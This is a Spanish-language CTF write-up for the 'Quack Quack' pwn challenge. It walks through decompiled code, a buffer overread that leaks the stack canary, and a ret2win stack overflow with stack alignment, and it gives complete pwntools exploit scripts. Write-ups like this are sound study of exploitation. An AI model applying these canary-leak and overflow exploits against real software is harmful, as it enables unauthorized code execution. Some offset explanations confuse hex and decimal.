Ir al contenido

Quack Quack

Autor
Santiago Chavarro

Protecciones
#

Funciones
#

duckling:
#

unsigned __int64 duckling()
{
  char *v1; // [rsp+8h] [rbp-88h]
  _QWORD buf[4]; // [rsp+10h] [rbp-80h] BYREF
  _QWORD v3[11]; // [rsp+30h] [rbp-60h] BYREF
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  memset(v3, 0, 80);
  printf("Quack the Duck!\n\n> ");
  fflush(stdout);
  read(0, buf, 0x66u);
  v1 = strstr((const char *)buf, "Quack Quack ");
  if ( !v1 )
  {
    error("Where are your Quack Manners?!\n");
    exit(1312);
  }
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ", v1 + 0x20);
  read(0, v3, 0x6Au);
  puts("Did you really expect to win a fight against a Duck?!\n");
  return v4 - __readfsqword(0x28u);
}

Esta es la función principal que se ejecuta constantemente, en el primer dato que nos pide tiene que estar siempre la cadena Quack Quack para poder pasar el primer ‘filtro’ después de esto esta presente una vulnerabilidad del tipo  Buffer Overread lo que va a pasar es que va a imprimir los datos que estén 20 bytes después. Luego sin importar que muestra una cadena de texto quemada.

duck_attack:
#

unsigned __int64 duck_attack()
{
  char buf; // [rsp+3h] [rbp-Dh] BYREF
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("./flag.txt", 0);
  if ( fd < 0 )
  {
    perror("\nError opening flag.txt, please contact an Administrator\n");
    exit(1);
  }
  while ( read(fd, &buf, 1u) > 0 )
    fputc(buf, stdout);
  close(fd);
  return v3 - __readfsqword(0x28u);
}

Esta función va a ser nuestro win es la función a la que vamos a apuntar al tratar de hacer el buffer overflow.

Análisis
#

Usando PWNDBG establecemos un breakpoint en main y llegamos a la instrucción donde nos pide la primera cadena para que justo después de esto podemos revisar los registros de la siguiente forma:

Lo que podemos observar es que estamos escribiendo justo antes del canario 80 bytes antes sabemos que con la vulnerabilidad del format string leemos lo que este 20 por lo que tenemos que escribir en el byte 60 pero toca tener en cuenta el enter por lo que lo haríamos en el 59 que en decimal es 89.

Leak del canario
#

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = """
init-pwndbg
continue
""".format(
    **locals()
)

exe = "./quack_quack"
elf = context.binary = ELF(exe, checksec=True)
context.log_level = "debug"

### EXPLOIT ###

p = start()

payload = b"A" * 89 + b"Quack Quack "
p.sendlineafter(b">", payload)
p.recvuntil(b"Quack Quack ")
canary = (u64(p.recv(7).rjust(8, b'\x00')))

Lo que hace esta parte es escribir el Quack Quack en el byte 59 que en decimal es 89 de forma que muestre el canario, y lo guardamos en la variable canary quitando el formato little endian de forma que nos de un int para luego poder mandarlo de forma correcta con la payload esto lo hace recibiendo primero el mensaje Quack Quack y luego recibiendo los siguientes 7 bytes luego restaura el \x00 clásico del canario y ubicándolo al inicio para convertirlo en int.

Luego de probar esto tenemos que hallar el offset hasta la posición de retorno para esto con PWNDBG vamos a hacer lo mismo que con el primer ingreso de datos solo que para el segundo:

Vemos que para sobrescribir el canario tenemos que usar 58 Bytes que en decimal son 88, además la posición de retorno va justo después del canario por lo que después de sobreescribir el canario tenemos que sobrescribir con la dirección de nuestro win que en este caso es 0x40137f:

p = start()

payload = b"A" * 89 + b"Quack Quack "
p.sendlineafter(b">", payload)
p.recvuntil(b"Quack Quack ")
canary = (u64(p.recv(7).rjust(8, b'\x00')))
print(p64(canary))
payload = b'A' * 88 + p64(canary) + p64(0x40137f)
p.sendlineafter(b'>', payload)
p.interactive()

Pero si ejecutamos esto no funciona no nos da la flag, pero tampoco nos salta la alerta de que estamos ejecutando un buffer overflow por lo que lo que puede estar fallando es que el stack no este alineado para esto vamos a agregar de a múltiplos 8 bytes afortunadamente con solo 8 bytes funciono y alineamos el stack.

En x86_64, muchas funciones asumen que el stack está alineado a 16 bytes cuando se hace call. Al hacer un ret2win directo (… + p64(canary) + p64(0x40137f)), puedes dejar el stack desalineado y provocar crashes internos al añadir 8 bytes extra antes de la dirección de duck_attack, ajustas el valor de RSP y restauras la alineación requerida, por eso el exploit pasa a funcionar.

Exploit
#

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else: 
        return process([exe] + argv, *a, **kw)

gdbscript = """
init-pwndbg
continue
""".format(
    **locals()
)

exe = "./quack_quack"
elf = context.binary = ELF(exe, checksec=True)
context.log_level = "debug"

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

p = start()
payload = b"A" * 89 + b"Quack Quack "
p.sendlineafter(b">", payload)
p.recvuntil(b"Quack Quack ")
canary = (u64(p.recv(7).rjust(8, b'\x00')))
print(p64(canary))
payload = b'A' * 88 + p64(canary) + b'loaxert ' + p64(0x40137f)
p.sendlineafter(b'>', payload)
p.interactive()

Referencias
#